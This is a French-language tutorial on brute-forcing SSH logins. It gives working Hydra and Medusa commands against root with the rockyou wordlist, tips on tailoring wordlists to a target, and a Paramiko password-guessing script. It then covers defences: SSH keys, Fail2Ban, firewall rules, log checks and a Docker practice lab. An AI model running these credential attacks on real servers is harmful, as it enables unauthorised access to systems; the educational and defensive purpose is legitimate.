Attaque de Brute Force sur SSH - Tutoriel Complet

🔍 Introduction

Les attaques de force brute exploitent des mots de passe faibles pour accéder à distance à des serveurs. Ce tutoriel est destiné à des fins éducatives et vise à sensibiliser aux mesures de sécurité nécessaires pour protéger les serveurs SSH. N'effectuez jamais ces attaques sans autorisation.

🧠 Pourquoi et Comment les Attaques Fonctionnent

Le protocole SSH (Secure Shell) est utilisé pour accéder à distance à des serveurs de manière sécurisée. Cependant, lorsqu'un mot de passe faible est utilisé, il devient une cible facile pour une attaque brute force. Voici comment cela fonctionne :

• Un attaquant utilise des outils automatisés pour essayer une liste de mots de passe courants ou personnalisés sur un compte SSH cible.
• Les attaques exploitent la capacité de SSH à accepter des connexions avec des mots de passe simples et facilement devinables.
• Une fois qu'un mot de passe valide est trouvé, l'attaquant obtient un accès complet au système, pouvant l'utiliser pour voler des données, installer des malwares, ou mener d'autres attaques.

Les attaques de brute force réussissent souvent en raison de :

• Mots de passe faibles ou réutilisés.
• Absence de limitations sur le nombre de tentatives de connexion.
• Configurations SSH par défaut avec des ports standard et des permissions globales.

Il est crucial de comprendre ces vecteurs pour mieux protéger vos systèmes.

🛠️ Prérequis

• Ordinateur avec Kali Linux ou toute autre distribution Linux
• Outil de bruteforce, comme Hydra ou Medusa
• Accès à un serveur SSH (en environnement de test ou autorisé)

⚙️ Étape 1: Installation de Hydra

Hydra est un outil populaire pour effectuer des attaques de force brute. Pour l'installer, utilisez la commande suivante :

sudo apt-get install hydra

Vous pouvez également utiliser Medusa ou d'autres outils similaires. Pour Medusa, installez-le via :

sudo apt-get install medusa

📚 Étape 2: Préparation des Listes de Mots de Passe

Les listes de mots de passe sont essentielles pour les attaques de force brute. Vous pouvez télécharger des listes de mots de passe communes sur des sites comme SecLists ou utiliser le fichier rockyou.txt disponible sur Kali Linux :

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Pour de meilleures chances de succès, personnalisez vos listes de mots de passe en fonction des habitudes de l'utilisateur cible (si connu) ou du contexte de l'organisation.

🚀 Étape 3: Lancement de l'Attaque de Brute Force avec Hydra

Utilisez Hydra pour lancer l'attaque. Voici une commande de base pour attaquer un serveur SSH :

hydra -l  -P   ssh

Par exemple :

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh

🧪 Étape Avancée : Configurer un Honeypot

Un honeypot attire les tentatives d'attaque pour les analyser. Installez Cowrie :

sudo apt-get install cowrie

Configurez-le pour surveiller et enregistrer les tentatives d'accès non autorisés, ce qui permet une analyse approfondie des attaques.

🤖 Automatisation avec un Script Python

Automatisez l'attaque avec un script Python utilisant Paramiko :

import paramiko

ip = "192.168.1.100"
username = "root"
passwords = ["123456", "password", "admin"]

for password in passwords:
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(ip, username=username, password=password)
        print(f"Mot de passe trouvé : {password}")
        break
    except paramiko.AuthenticationException:
        print(f"Échec avec : {password}")

🔒 Bonnes Pratiques pour Protéger SSH

Pour sécuriser vos systèmes contre les attaques brute force, appliquez ces bonnes pratiques :

• Utilisez des mots de passe complexes : Un bon mot de passe contient au moins 12 caractères, combinant des lettres majuscules, minuscules, des chiffres, et des symboles.
• Activez l'authentification par clé publique : Remplacez les mots de passe par des clés SSH. Génération et copie de clés :

ssh-keygen -t rsa
ssh-copy-id user@server

• Changez le port SSH par défaut : Cela réduit les tentatives d'attaque sur le port 22 :

sudo nano /etc/ssh/sshd_config
Port 2222

• Limitez les tentatives de connexion : Installez Fail2Ban pour bloquer les IP après plusieurs échecs :

sudo apt-get install fail2ban

• Utilisez un firewall : Configurez UFW pour restreindre les accès SSH aux adresses IP autorisées :

sudo ufw allow from 192.168.1.0/24 to any port 22
sudo ufw enable

• Surveillez les logs : Recherchez les tentatives d'accès non autorisées dans les fichiers de logs :

sudo cat /var/log/auth.log | grep 'Failed password'

Ces bonnes pratiques ne nécessitent pas de compétences avancées mais réduisent considérablement les risques d'attaques réussies.

🎓 Exercices Pratiques avec Docker

Créez un environnement de test sécurisé avec Docker :

docker run -d -p 2222:22 --name sshlab rastasheep/ubuntu-sshd

Cet environnement vous permettra de pratiquer en toute sécurité sans mettre en danger des systèmes réels.

⚖️ Légalité et Éthique

Il est essentiel de comprendre les implications juridiques et éthiques des tests de sécurité. Toute action non autorisée est illégale et peut entraîner des sanctions pénales.

🎓 Conclusion

Ce tutoriel a montré les bases, des étapes avancées, et des pratiques de sécurité pour les attaques de brute force sur SSH. Utilisez ces connaissances pour renforcer vos systèmes et non pour causer des dommages.